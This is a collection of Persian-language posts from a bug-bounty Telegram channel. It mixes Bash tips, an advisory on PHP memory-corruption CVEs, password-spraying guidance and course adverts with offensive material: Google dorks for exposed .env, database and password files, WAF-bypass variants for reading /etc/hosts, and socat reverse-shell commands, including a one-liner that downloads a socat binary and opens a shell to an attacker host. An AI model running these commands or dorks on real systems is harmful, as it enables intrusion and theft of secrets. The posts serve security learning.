⚡ سری Bash برای باگ هانترها

قسمت ۲

چندین folder رو با one-liner بساز: 

mkdir {dev,test,prod}

این command همزمان ۳ directory (dev، test، prod) میسازه.

ایجاد چندین File به طور Efficient: 

touch {file1,file2,file3}.txt

Fileها مثل file1.txt، file2.txt، file3.txt ساخته میشن.

تولید Fileها با Numeric Sequences: 
seq -w 1 10 | xargs -I {} touch file{}.txt

این sequence fileهایی مثل: 
file01.txt، file02.txt، file03.txt.... تا file10.txt می‌سازه.

با pro Bash commandها bug huntingت رو boost کن must برای هر hacker! 
فراموش نکن react کن 🔥

@TryHackBox
#باگ_بانتی

یه سری Google Dorks سریع و simple هستن که حتماً باید طی recon روی تارگتت اعمال کنی. 
اینا اغلب اطلاعات sensitive مثل.env files، database dumpها، config fileها و حتی backupها رو reveal میکنن.

۱. Exposed.env Files 
   intitle:"Index of" ".env" 
   "DB_PASSWORD" filetype:env 
   "APP_ENV=local" | "DB_HOST=127.0.0.1"

۲. Exposed SQLite Databases 
   intitle:"Index of" ".sqlite" 
   intitle:"Index of" "db.sqlite" 
   filetype:sqlite | filetype:sqlite3 | filetype:db

۳. Misconfigured Laravel یا Public Folder Exposure 
   inurl:/public/.env 
   inurl:/public/db.sqlite 
   intitle:"Index of" inurl:/public/

۴. Backup / Config Files (اغلب حاوی اطلاعات sensitive) 
   intitle:"Index of" "backup" 
   intitle:"Index of" "config" 
   ext:sql | ext:bak | ext:old | ext:backup

۵. Generic Index Dump 
   intitle:"Index of /" +passwd 
   intitle:"Index of /" +passwords

قبل از استفاده از این dorkها، scopeت رو با site:target.com narrow down کن، بعد dork خاص رو apply کن تا فقط روی تارگتت focus کنی.

کدوم Google Dork رو در reconت استفاده کردی که.env یا backup expose کرد و bounty داد؟ تجربت رو کامنت کن

@TryHackBox
#باگ_بانتی

ا🚨 PHP2Shell؛ وقتی چند ساعت تأخیر در پچ کردن میتواند دردسرساز شود

تصور کنید یک آسیب‌ پذیری بحرانی در PHP منتشر میشود و فقط چند ساعت بعد، موجی از تلاش‌ ها برای سوءاستفاده از آن به راه می‌ افتد. در چنین شرایطی، دیگر فرصت زیادی برای به تعویق انداختن به‌ روزرسانی‌ ها وجود ندارد.
طبق گزارش منتشر شده در ۲۱ اکتبر ۲۰۲۶، دو آسیب‌پذیری با شناسه‌ های CVE-2026-109618 و CVE-2026-109619 با نام PHP2Shell مطرح شده‌ اند. در این گزارش، امتیاز شدت هر دو آسیب‌ پذیری CVSS 9.2 اعلام شده و از افزایش سریع تلاش‌ ها برای exploitation از آن‌ ها صحبت شده است.

توجه: پیش از استناد به شناسه‌ ها، امتیاز ها، آمار حملات و نسخه‌ های اصلاح‌ شده، اطلاعیه‌ های رسمی PHP و منابع امنیتی مرتبط را بررسی کنید.

🔍 مشکل دقیقاً چیست؟

بر اساس اطلاعات گزارش‌ شده، این دو آسیب‌ پذیری به نحوه مدیریت حافظه در PHP مربوط هستند:
ا▪️ Out-of-Memory: مشکلات مرتبط با اتمام حافظه و نحوه مدیریت این وضعیت.
ا▪️ Use-After-Free: استفاده از حافظه‌ای که قبلاً آزاد شده است؛ مشکلی که در شرایط خاص می‌ تواند زمینه‌ ساز رفتار غیرمنتظره یا اجرای حمله شود.

خطر اصلی زمانی مشخص میشود که مهاجم بتواند از این ضعف‌ ها برای اجرای کد روی سرور استفاده کند. در چنین شرایطی، بسته به سطح دسترسی فرایند PHP و پیکربندی محیط، اطلاعات حساس، توکن‌ ها، رمزهای عبور و کلیدهای API ممکن است در معرض خطر قرار بگیرند.

🎯 چه کسانی باید نگران باشند؟

اگر سرور یا وب‌ سایت شما با PHP کار میکند، بهتر است وضعیت آن را بررسی کنید. این موضوع میتواند برای محیط‌ های زیر اهمیت داشته باشد:

Apache با mod_php

Nginx با PHP-FPM

LiteSpeed و FrankenPHP

وب‌سایت‌ های WordPress و سایر برنامه‌ های مبتنی بر PHP

البته استفاده از این فناوری‌ ها به‌ تنهایی به معنای آسیب‌ پذیر بودن سرور نیست؛

🛡️ چه کارهایی باید انجام دهید؟

۱. نسخه PHP را بررسی کنید.

php -v 

این دستور نسخه PHP در محیط CLI را نشان میدهد. اگر برنامه شما از PHP-FPM یا سرویس دیگری استفاده میکند، نسخه واقعی مورد استفاده وب‌ سرور را هم بررسی کنید.

۲. وضعیت پچ امنیتی را مشخص کنید.
اطلاعیه رسمی PHP را بررسی کنید و در صورت قرار داشتن نسخه شما در محدوده آسیب‌پذیر، به نسخه اصلاح‌ شده و پشتیبانی‌ شده ارتقا دهید. شماره نسخه‌ های اعلام‌ شده در گزارش‌ های غیررسمی را بدون تطبیق با منابع اصلی مبنا قرار ندهید.

۳. اگر فعلاً امکان به‌ روزرسانی ندارید، سطح دسترسی را محدود کنید.
بسته به شرایط، محدود کردن دسترسی از اینترنت یا غیرفعال‌ کردن موقت سرویس می‌ تواند ریسک را کاهش دهد.

۴. به WAF اکتفا نکنید.
قواعد WAF و قابلیت‌ های امنیتی CDN ممکن است بخشی از درخواست‌ های مخرب را مسدود کنند، اما جای پچ امنیتی را نمیگیرند.

۵. اگر احتمال میدهید سرور هدف حمله قرار گرفته، فقط به به‌روزرسانی بسنده نکنید.
لاگ‌ های وب‌ سرور، فرایندهای غیرعادی، ارتباطات خروجی و احتمال دسترسی به اطلاعات حساس را بررسی کنید. اگر نشانه‌ای از نفوذ پیدا شد، موضوع را به‌ عنوان یک رخداد امنیتی جدی پیگیری کنید.

💡 نکته‌ای که نباید فراموش کنیم

برای یک متخصص تست نفوذ، بررسی نسخه نرم‌افزار فقط نقطه شروع است. باید مشخص شود آسیب‌ پذیری تحت چه شرایطی قابل بهره‌برداری است، در صورت موفقیت چه سطح دسترسی‌ ای به دست می‌ آید و چه دارایی‌ هایی ممکن است در معرض خطر قرار بگیرند.
از طرف دیگر، برای تیم‌ های دفاعی، سرعت واکنش اهمیت زیادی دارد. هرچه فاصله انتشار آسیب‌ پذیری تا در دسترس قرار گرفتن روش‌ های exploitation کمتر شود، فرصت بیشتری برای مهاجمان و زمان کمتری برای تیم‌ های امنیتی باقی میماند.

اگر مسئول نگهداری یک سرور هستید، بررسی پچ های امنیتی را به زمان دیگری موکول نکنید. اگر هم در مسیر یادگیری تست نفوذ هستید، این رخدادها فرصت خوبی‌ اند تا ارتباط میان آسیب‌پذیری، exploitation و پیامدهای واقعی آن را بهتر بشناسید.

- TryHackBox
@TryHackBox

دوستانی که علاقه مندان به تدریس دوره های پایه مقدماتی در زمینه امنیت سایبری و شبکه و لینوکس هستند و از جمله دوره های اوسینت با ایدی زیر با ما در تماس باشید :

@ThbxSupport

🔥 سری Bypass برای باگ هانترها

قسمت ۲ 
Crazy WAF Bypass: 
cat /etc/hosts - WAF رو trigger میکنه

xxd -p /etc/hosts | xxd -p -r  
xargs -d '\n' -I{} echo {} < /etc/hosts  
perl -pe '' /etc/hosts  
sed '' /etc/hosts  
awk '{print}' /etc/hosts  
dd if=/etc/hosts 2>/dev/null

کدوم پیلود از قسمت 2 (مثل xxd pipe یا awk print) رو برای WAF bypass تست کردی که file رو dump کرد و bounty شد؟ تجربت رو کامنت کن.

کدوم یکی رو اول تست میکنی یا منتظر قسمت بعدی هستی؟

@TryHackBox
#باگ_بانتی

نکات تخصصی ردتیمینگ | بخش اول: Password Spraying

در حمله‌ی Password Spraying، به‌جای اینکه چندین پسورد مختلف رو روی یک حساب امتحان کنیم، چند پسورد رایج رو روی تعداد زیادی حساب تست می‌کنیم. هدف اینه که ببینیم آیا می ‌شه با استفاده از رمزهای قابل ‌حدس، به یکی از حساب ‌های سازمان دسترسی پیدا کرد یا نه.

چند نکته که موقع بررسی این تکنیک باید بهشون توجه کنیم:

۱. انتخاب هدف
همه ‌ی حساب ‌ها به یک اندازه مهم نیستن. حساب ‌هایی که دسترسی بیشتری دارن یا به اطلاعات حساس وصل هستن، از نظر امنیتی اهمیت بالاتری دارن.

۲. بررسی الگوهای رمز عبور
رمزهای رایج، پسوردهای پیش ‌فرض و رمزهایی که بر اساس اسم سازمان یا اطلاعات عمومی انتخاب میشن ، میتونن امنیت حساب ‌ها رو به خطر بندازن. شناخت این الگوها کمک می ‌کنه نقاط ضعف احتمالی رو بهتر بررسی کنیم.

۳. شناسایی حساب ‌های معتبر
باید بدونیم چه حساب ‌هایی در محدوده‌ی تست قرار دارن و سامانه در برابر نام کاربری معتبر و نامعتبر چه واکنشی نشون میده. این بررسی می‌ تونه اطلاعات مفیدی درباره ‌ی نحوه ‌ی پیاده ‌سازی احراز هویت در اختیارمون بذاره.

۴. زمان ‌بندی تست
زمان اجرای تست میتونه روی نحوه‌ی شناسایی فعالیت ‌ها تأثیر بذاره. بهتره زمان‌ بندی از قبل مشخص باشه تا هم شرایط واقعی سازمان در نظر گرفته بشه و هم تست باعث اختلال در سرویس ‌ها نشه.

۵. بررسی آدرس IP و منابع اتصال
تغییر آدرس IP لزوماً باعث مخفی موندن فعالیت نمیشه. تیم دفاعی میتونه رویدادهای ورود رو از منابع مختلف کنار هم قرار بده و با بررسی الگوهای مشترک، فعالیت مشکوک رو تشخیص بده.

۶. فاصله ‌ی بین تلاش ‌های ورود
تعداد درخواست ‌ها و فاصله‌ی زمانی بین اون ‌ها میتونه روی عملکرد مکانیزم ‌های دفاعی تأثیر بذاره. در تست نفوذ باید بررسی کنیم که سامانه چطور درخواست ‌های پرتکرار رو مدیریت می ‌کنه و آیا فعالیت‌ های مشکوک به ‌درستی ثبت میشن یا نه.

۷. بررسی سیاست قفل حساب
باید بدونیم بعد از چند تلاش ناموفق، حساب محدود یا قفل میشه و این محدودیت چه مدت ادامه داره. تنظیم نادرست این سیاست میتونه هم امنیت حساب‌ ها رو کاهش بده و هم زمینه‌ ی اختلال در دسترسی کاربران رو فراهم کنه.

۸. توجه به حساب‌های حساس و دارای دسترسی بالا
حساب‌ های ادمین و حساب‌ هایی که دسترسی ویژه دارن، اهمیت بیشتری دارن؛ چون در صورت دسترسی غیرمجاز، پیامدهای جدی‌ تری برای سازمان ایجاد میکنن. بررسی این حساب‌ ها باید با مجوز مشخص و کنترل کافی انجام بشه.

یه نکته‌ ی مهم: در Password Spraying فقط بحث این نیست که آیا یک پسورد جواب میده یا نه. باید ببینیم سامانه چقدر خوب از حساب‌ ها محافظت میکنه، چه اطلاعاتی در لاگ‌ها ثبت میشه و تیم بلوتیم چقدر توانایی تشخیص این نوع فعالیت رو داره.

یک ردتیمر خوب فقط به اجرای تکنیک فکر نمیکنه؛ باید بدونه فعالیتش چه ردپایی باقی میذاره و تیم دفاعی چطور میتونه اون رو شناسایی کنه.

✍ کاوه.م
@KavehOffSec
#تست_نفوذ #ردتیمینگ #تیم_قرمز

⚡لیستی از ۱۰۰ آسیب‌ پذیری وب

@TryHackBox
#آسیب_پذیری

🔥 سری Bash برای باگ هانترها

قسمت ۲ 
دیگه مستقیم nc استفاده نکن و با commandهای زیر امتحان کن: 

rlwrap -cAr nc -lvnp <port>  
یا  
rlwrap -f. -r nc -lnvp <port>

حالا میتونی از arrow keys برای navigation history command استفاده کنی، اما هنوز full keyboard functionality نداری (مثل nano، CTRL shortcuts).

برای full interactive keyboard controls، از socat interactive shell استفاده کن:

در سمت attacker: 

socat file:tty,raw,echo=0 tcp-listen:<port>  

اگر error داد، امتحان کن: 

socat file:$(tty),raw,echo=0 tcp-listen:<port>

در سمت victim (برای full TTY reverse shell): 

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>

اگر socat روی victim machine نصب نیست، از این one-liner برای دانلود static binary استفاده کن: 

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>

برای stop کردن socat: 

ps aux | grep socat  
Kill -9 socat <PID>

نکته: <port> رو با پورت دلخواهت جایگزین کن، <attacker_ip> رو با IP خودت، و <PID> رو با process ID.

کدوم command رو اول در listenerت تست میکنی یا منتظر قسمت بعدی هستی؟

@TryHackBox
#باگ_بانتی

دوستان بخاطر شرایط ناپایدار مجبورا و ناخواسته مجبور شدیم یک کانال توی بله بالا بیاریم ، برای اینکه از آموزش و خرید کتابهای جدید جا نمونید اگه این بله دارید ما را دنبال کنید فعلا فعالیت همینجاست ولی از جایی که شرایط کشور معلوم نیست چی به چیه احتمال قطعی اینترنت هست .

کانال ما در بله

https://ble.ir/TryHackBox

🔥 سری Bypass برای باگ هانترها

قسمت ۴ 

Crazy WAF Bypass:  
cat /etc/hosts - WAF رو trigger میکنه

rev /etc/hosts | rev  
od -An -c /etc/hosts | tr -d ' '  
cat $HOME/../../etc/hosts  
cat ${PWD}/../../../etc/hosts  
grep "" /etc/hosts  
cut -c1- /etc/hosts  
paste /etc/hosts

بچه‌ ها، در مورد این تکنیک‌ های WAF bypass که ساختم چی فکر میکنین؟ 
صبر کنین برای آخرین قسمت واقعا عالیه!
کدوم یکی رو اول امتحان میکنی یا آماده قسمت آخر هستی؟



@TryHackBox
#باگ_بانتی

📖 نقشه راه شروع باگ بانتی برای مبتدیان

اگر می‌خواهید باگ ‌بانتی را از پایه شروع کنید، صرفاً یادگیری ابزارها کافی نیست.
در این نقشه راه، مسیر پیشنهادی از پایه‌های فنی و منابع یادگیری تا تمرین، پلتفرم‌های Bug Bounty، نوشتن گزارش و نکات مهم شروع این مسیر را مرور کرده‌ایم.

برای مشاهده به لینکدین مراجعه کنید :
https://lnkd.in/p/dtB9MXg5

اگر بعد از این نقشه راه دنبال یک منبع عملی‌تر برای شروع هستید، کتاب «شکار عملی باگ بانتی» THB هم می‌تواند نقطه شروع مناسبی باشد.

📩 @THBxSupport

🆔 @TryHackBox
🆔 @TryHackBoxOfficial > RoadMap
🆔 @AiTHB > Ai Security
🆔 @RadioZeroPod > Podcast

📌 دوره: راهنمای جامع ابزار Mimikatz

💢اگر در حوزه Red Teaming یا Windows Penetration Testing فعالیت می‌کنید، Mimikatz ابزاری است که شناخت آن همچنان اهمیت دارد.

قدیمی شدن یک ابزار لزوماً به معنای بی‌ استفاده شدن آن نیست. در عملیات واقعی، شناخت مکانیزم‌ های داخلی، درک تکنیک‌ ها و توانایی سفارشی‌ سازی ابزارها (Customization) اهمیت بیشتری از اجرای ساده نسخه پیش‌فرض آن‌ها دارد.


فرصت یادگیری این مهارت را به تعویق نیندازید در دنیای Red Team، فاصله میان شناخت یک ابزار و توانایی استفاده مؤثر از آن، همان چیزی است که سطح تخصص شما را مشخص می‌ کند.

📌 توضیحات کامل

◽مدرس : مهندس سجاد تیموری
◽مدت زمان دوره : ۵ ساعت ۲۰ دقیقه
◻ دوره : آفلاین
⭕ دوره دارای گروه پشتیبانی می باشد.

💰 قیمت :     ۲,۰۰۰,۰۰۰  تومان
💰 با تخفیف ویژه : ۱,۲۵۰,۰۰۰ تومان

📌 جهت خرید،به ایدی زیر پیام دهید:
@ThbxSupport
Group
@TryHackBox